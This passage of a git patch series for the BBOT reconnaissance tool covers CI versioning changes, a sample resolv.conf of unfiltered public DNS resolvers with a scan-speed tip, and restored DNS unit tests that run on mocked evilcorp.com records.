10850074, upload-time = "2026-04-09T14:06:16.581Z" }, + { url = "https://files.pythonhosted.org/packages/11/08/874da392558ce087a0f9b709dc6ec0d60cbc694c1c772dab8d5f31efe8cb/ruff-0.15.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b0c52744cf9f143a393e284125d2576140b68264a93c6716464e129a3e9adb48", size = 11358051, upload-time = "2026-04-09T14:06:18.948Z" }, + { url = "https://files.pythonhosted.org/packages/e4/46/602938f030adfa043e67112b73821024dc79f3ab4df5474c25fa4c1d2d14/ruff-0.15.10-py3-none-win32.whl", hash = "sha256:d4272e87e801e9a27a2e8df7b21011c909d9ddd82f4f3281d269b6ba19789ca5", size = 10588964, upload-time = "2026-04-09T14:06:07.14Z" }, + { url = "https://files.pythonhosted.org/packages/25/b6/261225b875d7a13b33a6d02508c39c28450b2041bb01d0f7f1a83d569512/ruff-0.15.10-py3-none-win_amd64.whl", hash = "sha256:28cb32d53203242d403d819fd6983152489b12e4a3ae44993543d6fe62ab42ed", size = 11745044, upload-time = "2026-04-09T14:05:39.473Z" }, + { url = "https://files.pythonhosted.org/packages/58/ed/dea90a65b7d9e69888890fb14c90d7f51bf0c1e82ad800aeb0160e4bacfd/ruff-0.15.10-py3-none-win_arm64.whl", hash = "sha256:601d1610a9e1f1c2165a4f561eeaa2e2ea1e97f3287c5aa258d3dab8b57c6188", size = 11035607, upload-time = "2026-04-09T14:05:47.593Z" }, ] [[package]] From f43bf0dba316d8e1a44b7261c8bbbfed8d25c05c Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 20 Apr 2026 15:30:57 -0400 Subject: [PATCH 538/912] better dns documentation, publish versioning --- .github/workflows/tests.yml | 26 +++++++------- README.md | 2 ++ bbot/__init__.py | 6 ++-- bbot/_version.py | 1 - bbot/scanner/target.py | 8 +++++ docs/data/resolv-sample.conf | 60 ++++++++++++++++++++++++++++++++ docs/scanning/tips_and_tricks.md | 15 ++++++++ pyproject.toml | 5 +-- 8 files changed, 104 insertions(+), 19 deletions(-) delete mode 100644 bbot/_version.py create mode 100644 docs/data/resolv-sample.conf diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 8cddad737e..73d7155190 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -76,24 +76,30 @@ jobs: - name: Calculate version id: calc_version run: | - # Get base version from latest stable tag (exclude rc tags, strip 'v' prefix) - LATEST_STABLE_TAG=$(git describe --tags --abbrev=0 --exclude="*rc*") - BASE_VERSION=$(echo "$LATEST_STABLE_TAG" | sed 's/^v//') + # Source of truth for base version is pyproject.toml + BASE_VERSION=$(python3 -c " + import re + text = open('pyproject.toml').read() + print(re.search(r'^version\s*=\s*\"([^\"]+)\"', text, re.MULTILINE).group(1)) + ") if [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then - # Stable: clean version from tag VERSION="$BASE_VERSION" elif [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then - # Dev: version.distancerc (e.g., 3.0.0.123rc) - DISTANCE=$(git rev-list ${LATEST_STABLE_TAG}..HEAD --count) + # Dev: base version + commit distance from stable as rc (e.g., 3.0.0.123rc) + STABLE_HEAD=$(git rev-parse origin/stable 2>/dev/null || git rev-list --max-parents=0 HEAD) + DISTANCE=$(git rev-list ${STABLE_HEAD}..HEAD --count) VERSION="${BASE_VERSION}.${DISTANCE}rc" fi echo "VERSION=$VERSION" >> $GITHUB_OUTPUT echo "Calculated version: $VERSION" - # Write version to file for hatchling to pick up - echo "__version__ = \"$VERSION\"" > bbot/_version.py + # For dev builds, write the rc version to pyproject.toml for hatchling + # Stable builds use pyproject.toml as-is + if [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then + sed -i "s/^version = .*/version = \"$VERSION\"/" pyproject.toml + fi - name: Build Pypi package if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev' run: uv build @@ -122,8 +128,6 @@ jobs: tags: | blacklanternsecurity/bbot:dev blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }} - blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }} - blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR }} - name: Publish to Docker Hub (stable) if: github.event_name == 'push' && github.ref == 'refs/heads/stable' uses: docker/build-push-action@v6 @@ -146,8 +150,6 @@ jobs: tags: | blacklanternsecurity/bbot:dev-full blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }}-full - blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }}-full - blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR }}-full - name: Publish Full Docker Image to Docker Hub (stable) if: github.event_name == 'push' && github.ref == 'refs/heads/stable' uses: docker/build-push-action@v6 diff --git a/README.md b/README.md index 0151868a5e..efbdb925e0 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,8 @@ pipx install --pip-args '\--pre' bbot _For more installation methods, including [Docker](https://hub.docker.com/r/blacklanternsecurity/bbot), see [Getting Started](https://www.blacklanternsecurity.com/bbot/Stable/)_ +> **Speed tip:** BBOT's DNS engine spins up ten workers per resolver in `/etc/resolv.conf`. Adding more unfiltered resolvers dramatically speeds up scans. See the [sample resolv.conf](docs/data/resolv-sample.conf) and [Tips and Tricks](https://www.blacklanternsecurity.com/bbot/Stable/scanning/tips_and_tricks/#speed-up-scans-with-more-dns-resolvers) for details. + ## Example Commands ### 1) Subdomain Finder diff --git a/bbot/__init__.py b/bbot/__init__.py index 7a87e25d8c..1a7242313c 100644 --- a/bbot/__init__.py +++ b/bbot/__init__.py @@ -1,4 +1,6 @@ +from importlib.metadata import version, PackageNotFoundError + try: - from bbot._version import __version__ -except ImportError: + __version__ = version("bbot") +except PackageNotFoundError: __version__ = "0.0.0" diff --git a/bbot/_version.py b/bbot/_version.py deleted file mode 100644 index 6c8e6b979c..0000000000 --- a/bbot/_version.py +++ /dev/null @@ -1 +0,0 @@ -__version__ = "0.0.0" diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 90f6f3f1eb..9281872fcf 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -137,6 +137,12 @@ def _add(self, host, data): return self._rt.insert(str(host), data=data) + # RFC 2317 classless reverse delegation names contain "/" in their labels + # (e.g. "207.128/25.38.186.64.in-addr.arpa"). These are valid DNS wire + # names but fail hostname validation. Hickory-DNS may also backslash- + # escape the slash in presentation format ("128\/25"). + _rfc2317_re = re.compile(r"[/\\].*\.in-addr\.arpa$|[/\\].*\.ip6\.arpa$", re.IGNORECASE) + def _make_event_seed(self, target, raise_error=False): try: return EventSeed(target) @@ -146,6 +152,8 @@ def _make_event_seed(self, target, raise_error=False): msg = f"Invalid target: '{target}'" if raise_error: raise KeyError(msg) + elif self._rfc2317_re.search(str(target)): + log.verbose(f"Skipping RFC 2317 classless delegation name: '{target}'") else: log.warning(msg) log.trace("".join(traceback.format_stack())) diff --git a/docs/data/resolv-sample.conf b/docs/data/resolv-sample.conf new file mode 100644 index 0000000000..ef88adbe7d --- /dev/null +++ b/docs/data/resolv-sample.conf @@ -0,0 +1,60 @@ +# ============================================================================ +# Sample /etc/resolv.conf for BBOT +# ============================================================================ +# +# BBOT's DNS engine (blastdns) automatically spins up ten workers per +# resolver listed here. Adding more resolvers = more parallelism = +# faster scans. +# +# To use: copy (or append) to /etc/resolv.conf, or point your +# systemd-resolved / resolvconf config at these addresses. +# ============================================================================ + +# --- Google Public DNS --- +# No filtering, DNSSEC-validating, DoH/DoT capable. +# Huge anycast footprint for geographically relevant answers. +nameserver 8.8.8.8 +nameserver 8.8.4.4 + +# --- Cloudflare 1.1.1.1 --- +# Unfiltered, DNSSEC, very fast, DoH/DoT. +# NOTE: Avoid 1.1.1.2 / 1.1.1.3 -- those variants apply malware +# and adult-content filtering, which will hide results during OSINT. +nameserver 1.1.1.1 +nameserver 1.0.0.1 + +# --- Quad9 (unfiltered) --- +# IMPORTANT: Quad9's main address (9.9.9.9) blocks known-malicious +# domains -- exactly what you do NOT want when pivoting on adversary +# infrastructure. The .10 addresses are their no-blocklist, +# no-DNSSEC-validation variant, which lets you see raw responses +# without validation stripping records. +nameserver 9.9.9.10 +nameserver 149.112.112.10 + +# --- OpenDNS "Sandbox" (unfiltered) --- +# Cisco Umbrella's unfiltered pair. The well-known 208.67.222.222 +# enforces category filtering; the .2 addresses do not. +nameserver 208.67.222.2 +nameserver 208.67.220.2 + +# --- Verisign Public DNS --- +# Run by the .com / .net registry operator. +# No filtering, no NXDOMAIN hijacking, DNSSEC. +nameserver 64.6.64.6 +nameserver 64.6.65.6 + +# --- Hurricane Electric --- +# Unfiltered, strong IPv6 support, well-regarded in the netops community. +nameserver 74.82.42.42 + +# ============================================================================ +# IPv6 equivalents (uncomment if your host has IPv6 connectivity) +# ============================================================================ +# nameserver 2001:4860:4860::8888 # Google +# nameserver 2001:4860:4860::8844 # Google +# nameserver 2606:4700:4700::1111 # Cloudflare +# nameserver 2606:4700:4700::1001 # Cloudflare +# nameserver 2620:fe::10 # Quad9 (unfiltered) +# nameserver 2620:fe::fe:10 # Quad9 (unfiltered) +# nameserver 2001:470:20::2 # Hurricane Electric diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index eb7ae16ed3..2e75b2efbf 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -45,6 +45,21 @@ If you have a fast internet connection or are running BBOT from a cloud VM, you bbot -t evilcorp.com -f subdomain-enum -c dns.brute_threads=5000 ``` +### Speed Up Scans with More DNS Resolvers + +By far the most effective way to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS engine (blastdns) spins up ten workers per resolver, so more resolvers = more parallelism = faster scans. + +For OSINT, it's critical that every resolver is **unfiltered** -- filtering resolvers silently hide domains, which defeats the purpose. Below is a sample `/etc/resolv.conf` with 11 unfiltered public resolvers: + +```conf +--8<-- "docs/data/resolv-sample.conf" +``` + +Copy this to `/etc/resolv.conf` (or append the `nameserver` lines to your existing config). With all 11 resolvers, blastdns will run 110 workers in parallel instead of the typical 10-30 you get from a default OS config. + +!!! tip + If your system uses `systemd-resolved` or `resolvconf`, you may need to configure the upstream forwarders there instead of editing `/etc/resolv.conf` directly. + ### Web Spider The web spider is great for finding juicy data like subdomains, email addresses, and javascript secrets buried in webpages. However since it can lengthen the duration of a scan, it's disabled by default. To enable the web spider, you must increase the value of `web.spider_distance`. diff --git a/pyproject.toml b/pyproject.toml index 10ac74a36c..5dc1b2bb6f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "bbot" -dynamic = ["version"] +version = "3.0.0" description = "OSINT automation for hackers." readme = "README.md" license = "AGPL-3.0" @@ -98,9 +98,6 @@ docs = [ requires = ["hatchling"] build-backend = "hatchling.build" -[tool.hatch.version] -path = "bbot/_version.py" - [tool.hatch.build.targets.wheel] packages = ["bbot"] From 57b73229258295392801c34a6a598b5a7c9408cf Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 19:04:54 -0400 Subject: [PATCH 539/912] Fix benchmark workflow: reset tracked files before branch checkout --- bbot/scripts/benchmark_report.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 50ca6f3384..2c64e9c399 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -33,7 +33,10 @@ def get_current_branch() -> str: def checkout_branch(branch: str, repo_path: Path = None): - """Checkout a git branch, cleaning up generated files first.""" + """Checkout a git branch, cleaning up generated and modified files first.""" + # Reset modified tracked files (e.g. uv.lock changed by `uv sync`) + print("Resetting modified tracked files before checkout") + run_command(["git", "checkout", "--", "."], cwd=repo_path) # Remove untracked files before checkout. Without this, files generated # by one branch's toolchain (e.g. uv.lock from `uv run` on a Poetry # branch) block checkout to a branch that tracks those same files. From 4b39d07321f01cc9854fa4c793abcfa3a7129c9b Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Wed, 22 Apr 2026 15:40:10 -0400 Subject: [PATCH 540/912] restore dns tests --- bbot/test/test_step_1/test_dns.py | 268 +++++++++++++++++++++++++++++- uv.lock | 11 +- 2 files changed, 270 insertions(+), 9 deletions(-) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index aab330aeb9..c115027d26 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -25,6 +25,100 @@ async def test_dns_helper(bbot_scanner): assert "1.2.3.4" in result +@pytest.mark.asyncio +async def test_dns_engine(bbot_scanner): + """High-level resolve / batch / null-MX cleaning via scan.helpers.dns.""" + scan = bbot_scanner() + await scan._prep() + await scan.helpers.dns._mock_dns( + { + "one.one.one.one": {"A": ["1.1.1.1"]}, + "1.1.1.1.in-addr.arpa": {"PTR": ["one.one.one.one"]}, + } + ) + + # forward resolve + result = await scan.helpers.dns.resolve("one.one.one.one") + assert "1.1.1.1" in result + # we only mocked A, not AAAA + assert "2606:4700:4700::1111" not in result + + # reverse resolve + result = await scan.helpers.dns.resolve("1.1.1.1", "PTR") + assert "one.one.one.one" in result + + # batch resolution -- many hosts, single rdtype + await scan.helpers.dns._mock_dns( + { + "one.one.one.one": {"A": ["1.1.1.1"]}, + "two.two.two.two": {"A": ["2.2.2.2"]}, + } + ) + batch_results = {} + async for host, response in scan.helpers.dns.resolve_batch_full(["one.one.one.one", "two.two.two.two"], "A"): + addrs = {ans.rdata["A"] for ans in response.response.answers} + batch_results[host] = addrs + assert batch_results["one.one.one.one"] == {"1.1.1.1"} + assert batch_results["two.two.two.two"] == {"2.2.2.2"} + + # null MX (RFC 7505: "0 .") must produce no extracted targets + await scan.helpers.dns._mock_dns({"evilcorp.com": {"MX": ["0 ."]}}) + mx_response = await scan.helpers.dns.resolve_full("evilcorp.com", "MX") + extracted = set() + for ans in mx_response.response.answers: + extracted.update(extract_targets(ans)) + assert not extracted + + +@pytest.mark.asyncio +async def test_dns_resolution(bbot_scanner): + """Multi-rdtype resolution + SPF affiliate tagging end-to-end.""" + scan = bbot_scanner() + await scan._prep() + await scan.helpers.dns._mock_dns( + { + "one.one.one.one": { + "A": ["1.1.1.1", "1.0.0.1"], + "AAAA": ["2606:4700:4700::1111", "2606:4700:4700::1001"], + "TXT": ['"v=spf1 ip4:1.2.3.4 ~all"'], + }, + "evilcorp.com": { + "NS": ["ns1.evilcorp.com.", "ns2.evilcorp.com."], + "SOA": ["ns1.evilcorp.com. admin.evilcorp.com. 1 7200 3600 1209600 3600"], + "MX": ["10 mail.evilcorp.com."], + }, + } + ) + + # mixed-rdtype lookups + a = await scan.helpers.dns.resolve("one.one.one.one", "A") + assert {"1.1.1.1", "1.0.0.1"}.issubset(a) + aaaa = await scan.helpers.dns.resolve("one.one.one.one", "AAAA") + assert "2606:4700:4700::1111" in aaaa + for rdtype in ("NS", "SOA", "MX"): + results = await scan.helpers.dns.resolve("evilcorp.com", rdtype) + assert results, f"no results for {rdtype}" + + # full SPF -> affiliate flow: TXT on evilcorp.com mentions cloudprovider.com, + # which should be emitted as a DNS_NAME tagged "affiliate" + scan2 = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}}) + await scan2._prep() + await scan2.helpers.dns._mock_dns( + { + "evilcorp.com": {"TXT": ['"v=spf1 include:cloudprovider.com ~all"']}, + "cloudprovider.com": {"A": ["1.2.3.4"]}, + } + ) + events = [e async for e in scan2.async_start()] + affiliates = [ + e for e in events if e.type == "DNS_NAME" and e.data == "cloudprovider.com" and "affiliate" in e.tags + ] + assert len(affiliates) == 1 + + await scan._cleanup() + await scan2._cleanup() + + @pytest.mark.asyncio async def test_resolve_full_and_extract(bbot_scanner): """resolve_full + extract_targets + record_to_text on the new blastdns Records.""" @@ -176,6 +270,7 @@ async def test_wildcards(bbot_scanner): # so override it here to actually exercise wildcard detection. scan = bbot_scanner("evilcorp.com", config={"dns": {"wildcard_ignore": []}}) await scan._prep() + helpers = scan.helpers # *.test.evilcorp.com is a wildcard pointing at 127.0.0.99 (A) and dead::beef (AAAA) mock_data = { @@ -189,18 +284,183 @@ async def test_wildcards(bbot_scanner): wildcard_domains = await scan.helpers.dns.is_wildcard_domain("asdf.test.evilcorp.com", ["A", "AAAA"]) assert "test.evilcorp.com" in wildcard_domains assert "A" in wildcard_domains["test.evilcorp.com"] + # the per-zone cache stored both rdtypes for this parent + assert hash(("test.evilcorp.com", "A")) in scan.helpers.dns._wildcard_cache + assert hash(("test.evilcorp.com", "AAAA")) in scan.helpers.dns._wildcard_cache + # the cached wildcard pool contains valid IPs + cached_a, cached_a_raw = scan.helpers.dns._wildcard_cache[hash(("test.evilcorp.com", "A"))] + assert cached_a and all(helpers.is_ip(ip) for ip in cached_a) # is_wildcard tells us whether a specific hostname is a wildcard hit - wildcard_rdtypes = await scan.helpers.dns.is_wildcard("asdf.test.evilcorp.com", ["A", "AAAA"]) - assert wildcard_rdtypes.get("A") == (True, "test.evilcorp.com") + for sub in ("asdf.test.evilcorp.com", "qwer.zxcv.test.evilcorp.com"): + wildcard_rdtypes = await scan.helpers.dns.is_wildcard(sub, ["A", "AAAA"]) + assert wildcard_rdtypes.get("A") == (True, "test.evilcorp.com") + assert wildcard_rdtypes.get("AAAA") == (True, "test.evilcorp.com") - # a non-wildcard sibling is not flagged + # a bare domain is short-circuited to {} non_wildcard = await scan.helpers.dns.is_wildcard("evilcorp.com", ["A"]) - # is_domain short-circuits to {} for the bare domain assert non_wildcard == {} await scan._cleanup() + ### wildcard TXT record (empty TXT for any *.test.evilcorp.com) ### + + txt_mock_data = { + "evilcorp.com": {"A": ["127.0.0.1"]}, + "test.evilcorp.com": {"A": ["127.0.0.2"]}, + "www.test.evilcorp.com": {"AAAA": ["dead::beef"]}, + # any subdomain of test.evilcorp.com gets an empty TXT (a known wildcard pattern) + r"regex:.*\.test\.evilcorp\.com$": {"TXT": [""]}, + } + + # first, run with wildcard detection disabled for evilcorp.com + scan = bbot_scanner( + "evilcorp.com", + seeds=["bbot.fdsa.www.test.evilcorp.com"], + config={ + "dns": {"minimal": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]}, + "speculate": True, + }, + ) + await scan._prep() + await scan.helpers.dns._mock_dns(txt_mock_data) + events = [e async for e in scan.async_start()] + dns_names = sorted(e.data for e in events if e.type == "DNS_NAME") + assert dns_names == [ + "bbot.fdsa.www.test.evilcorp.com", + "evilcorp.com", + "fdsa.www.test.evilcorp.com", + "test.evilcorp.com", + "www.test.evilcorp.com", + ] + dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} + # nothing should be tagged wildcard since detection is disabled for evilcorp.com + for e in dns_names_by_host.values(): + assert "wildcard" not in e.tags + assert not any(t.endswith("-wildcard") for t in e.tags) + assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} + assert dns_names_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} + assert dns_names_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} + + # then run with wildcard detection enabled + scan = bbot_scanner( + "evilcorp.com", + seeds=["bbot.fdsa.www.test.evilcorp.com"], + config={ + "dns": {"minimal": False, "search_distance": 5, "wildcard_ignore": []}, + "speculate": True, + }, + ) + await scan._prep() + await scan.helpers.dns._mock_dns(txt_mock_data) + events = [e async for e in scan.async_start()] + dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} + + # the seed event keeps its real host (renaming is suppressed for seeds) + assert "bbot.fdsa.www.test.evilcorp.com" in dns_names_by_host + # at least one wildcard-renamed event was emitted + renamed = [e for e in events if e.type == "DNS_NAME" and e.data.startswith("_wildcard.")] + assert renamed, "expected at least one _wildcard.* renamed event" + # explicit www.test.evilcorp.com still has its real AAAA, but is tagged wildcard for TXT + if "www.test.evilcorp.com" in dns_names_by_host: + assert "txt-wildcard" in dns_names_by_host["www.test.evilcorp.com"].tags + assert dns_names_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} + + ### runaway SRV wildcard ### + + # mock a chain of SRV records that recursively point to a deeper subdomain. + # without runaway detection, this would generate infinite events. + runaway_mock = { + "evilcorp.com": {"A": ["127.0.0.1"], "SRV": ["0 100 389 test.evilcorp.com."]}, + "test.evilcorp.com": {"AAAA": ["dead::beef"], "SRV": ["0 100 389 test.test.evilcorp.com."]}, + "test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.evilcorp.com."]}, + "test.test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.test.evilcorp.com."]}, + "test.test.test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.test.test.evilcorp.com."]}, + } + scan = bbot_scanner( + "evilcorp.com", + config={ + "dns": { + "minimal": False, + "search_distance": 5, + "wildcard_ignore": [], + "runaway_limit": 3, + }, + }, + ) + await scan._prep() + await scan.helpers.dns._mock_dns(runaway_mock) + events = [e async for e in scan.async_start()] + dns_name_data = sorted(e.data for e in events if e.type == "DNS_NAME") + # runaway_limit=3 should stop the cascade before the 5th level + assert "test.test.test.test.test.evilcorp.com" not in dns_name_data + # the leaf event that hit the runaway limit should be tagged accordingly + runaway_tagged = [e for e in events if e.type == "DNS_NAME" and any(t.startswith("runaway-dns-") for t in e.tags)] + assert runaway_tagged, "expected at least one event tagged runaway-dns-N" + + await scan._cleanup() + + ### dns_resolve_distance bookkeeping ### + + scan = bbot_scanner("1.1.1.1") + await scan._prep() + dnsresolve = scan.modules["dnsresolve"] + + event_distance_0 = scan.make_event("8.8.8.8", module=dnsresolve._make_dummy_module("PTR"), parent=scan.root_event) + assert event_distance_0.dns_resolve_distance == 0 + event_distance_1 = scan.make_event( + "evilcorp.com", module=dnsresolve._make_dummy_module("A"), parent=event_distance_0 + ) + assert event_distance_1.dns_resolve_distance == 1 + event_distance_2 = scan.make_event("1.2.3.4", module=dnsresolve._make_dummy_module("PTR"), parent=event_distance_1) + # IP_ADDRESS inherits its parent's distance directly + assert event_distance_2.dns_resolve_distance == 1 + event_distance_3 = scan.make_event( + "evilcorp.org", module=dnsresolve._make_dummy_module("A"), parent=event_distance_2 + ) + assert event_distance_3.dns_resolve_distance == 2 + + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_wildcard_deduplication(bbot_scanner): + """A module emitting many wildcard subdomains should produce only one _wildcard.* event.""" + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + per_domain_only = True + + async def handle_event(self, event): + for i in range(30): + await self.emit_event(f"www{i}.evilcorp.com", "DNS_NAME", parent=event) + + # *.evilcorp.com returns an empty TXT record (a known wildcard pattern that + # would normally cause every subdomain to look distinct). With wildcard + # detection enabled, dnsresolve should fold them all into _wildcard.evilcorp.com. + mock_data = { + "evilcorp.com": {"A": ["127.0.0.1"]}, + r"regex:.*\.evilcorp\.com$": {"TXT": [""]}, + } + + scan = bbot_scanner( + "evilcorp.com", + config={"dns": {"minimal": False, "wildcard_ignore": []}, "omit_event_types": []}, + ) + await scan._prep() + await scan.helpers.dns._mock_dns(mock_data) + dummy_module = DummyModule(scan) + scan.modules["dummy_module"] = dummy_module + events = [e async for e in scan.async_start()] + + dns_name_events = [e for e in events if e.type == "DNS_NAME"] + # exactly one _wildcard.evilcorp.com event despite 30 emissions + wildcard_events = [e for e in dns_name_events if e.data == "_wildcard.evilcorp.com"] + assert len(wildcard_events) == 1 + # the only DNS_NAMEs should be evilcorp.com itself + the dedup'd wildcard + assert sorted(e.data for e in dns_name_events) == ["_wildcard.evilcorp.com", "evilcorp.com"] + @pytest.mark.asyncio async def test_dns_graph_structure(bbot_scanner): diff --git a/uv.lock b/uv.lock index 3fa58f6c88..b3704d0c43 100644 --- a/uv.lock +++ b/uv.lock @@ -186,6 +186,7 @@ wheels = [ [[package]] name = "bbot" +version = "3.0.0" source = { editable = "." } dependencies = [ { name = "ansible-core", version = "2.17.14", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, @@ -268,8 +269,8 @@ requires-dist = [ { name = "blastdns", specifier = ">=1.9.0,<2" }, { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, - { name = "deepdiff", specifier = ">=8.0.0,<9" }, - { name = "dnspython", specifier = ">=2.7.0,<2.8.0" }, + { name = "deepdiff", specifier = ">=8.0.0,<10" }, + { name = "dnspython", specifier = ">=2.7.0,<2.9.0" }, { name = "httpx", specifier = ">=0.28.1,<1" }, { name = "idna", specifier = ">=3.4,<4" }, { name = "jinja2", specifier = ">=3.1.3,<4" }, @@ -301,13 +302,13 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ { name = "baddns", specifier = "~=2.1.0" }, - { name = "fastapi", specifier = ">=0.115.5,<0.129.0" }, + { name = "fastapi", specifier = ">=0.115.5,<0.137.0" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<9" }, { name = "pytest-asyncio", specifier = "==1.2.0" }, { name = "pytest-benchmark", specifier = ">=4,<6" }, { name = "pytest-cov", specifier = ">=5,<8" }, - { name = "pytest-env", specifier = ">=0.8.2,<1.2.0" }, + { name = "pytest-env", specifier = ">=0.8.2,<1.7.0" }, { name = "pytest-httpserver", specifier = ">=1.0.11,<2" }, { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, @@ -325,7 +326,7 @@ docs = [ { name = "mkdocs-extra-sass-plugin", specifier = ">=0.1.0,<1" }, { name = "mkdocs-material", specifier = ">=9.2.5,<10" }, { name = "mkdocs-material-extensions", specifier = ">=1.1.1,<2" }, - { name = "mkdocstrings", specifier = ">=0.22,<0.31" }, + { name = "mkdocstrings", specifier = ">=0.22,<1.1" }, { name = "mkdocstrings-python", specifier = ">=2.0.0,<3" }, { name = "pymdown-extensions", specifier = ">=10.20.1,<11" }, ] From 8600595040f810ddcc849de92f411fa2b7876207 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Wed, 22 Apr 2026 16:23:00 -0400 Subject: [PATCH 541/912] restore more original assertions --- bbot/test/test_step_1/test_dns.py | 361 +++++++++++++++++++++++++++--- 1 file changed, 328 insertions(+), 33 deletions(-) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index c115027d26..a1d1a62ea2 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -303,14 +303,15 @@ async def test_wildcards(bbot_scanner): await scan._cleanup() - ### wildcard TXT record (empty TXT for any *.test.evilcorp.com) ### + ### wildcard TXT record (empty TXT for any host ending in test.evilcorp.com) ### + # regex matches both test.evilcorp.com itself and any subdomain beneath it, + # mirroring the original custom_lookup_fn's ``query.strip(".").endswith(...)`` txt_mock_data = { "evilcorp.com": {"A": ["127.0.0.1"]}, "test.evilcorp.com": {"A": ["127.0.0.2"]}, "www.test.evilcorp.com": {"AAAA": ["dead::beef"]}, - # any subdomain of test.evilcorp.com gets an empty TXT (a known wildcard pattern) - r"regex:.*\.test\.evilcorp\.com$": {"TXT": [""]}, + r"regex:^(.+\.)?test\.evilcorp\.com$": {"TXT": [""]}, } # first, run with wildcard detection disabled for evilcorp.com @@ -318,70 +319,175 @@ async def test_wildcards(bbot_scanner): "evilcorp.com", seeds=["bbot.fdsa.www.test.evilcorp.com"], config={ - "dns": {"minimal": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]}, + "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]}, "speculate": True, }, ) await scan._prep() await scan.helpers.dns._mock_dns(txt_mock_data) events = [e async for e in scan.async_start()] - dns_names = sorted(e.data for e in events if e.type == "DNS_NAME") - assert dns_names == [ + + assert len(events) == 12 + assert len([e for e in events if e.type == "DNS_NAME"]) == 5 + assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 + assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ "bbot.fdsa.www.test.evilcorp.com", "evilcorp.com", "fdsa.www.test.evilcorp.com", "test.evilcorp.com", "www.test.evilcorp.com", ] + dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - # nothing should be tagged wildcard since detection is disabled for evilcorp.com - for e in dns_names_by_host.values(): - assert "wildcard" not in e.tags - assert not any(t.endswith("-wildcard") for t in e.tags) + assert dns_names_by_host["evilcorp.com"].tags == { + "domain", + "private-ip", + "in-scope", + "a-record", + } assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} + assert dns_names_by_host["test.evilcorp.com"].tags == { + "subdomain", + "private-ip", + "in-scope", + "a-record", + "txt-record", + } assert dns_names_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} + assert dns_names_by_host["www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "aaaa-record", "txt-record"} assert dns_names_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} + assert dns_names_by_host["fdsa.www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} + assert dns_names_by_host["fdsa.www.test.evilcorp.com"].resolved_hosts == set() + assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].tags == { + "target", + "subdomain", + "in-scope", + "txt-record", + "seed", + } + assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() + + raw_records_by_host = {e.host: e for e in events if e.type == "RAW_DNS_RECORD"} + assert raw_records_by_host["test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} + assert 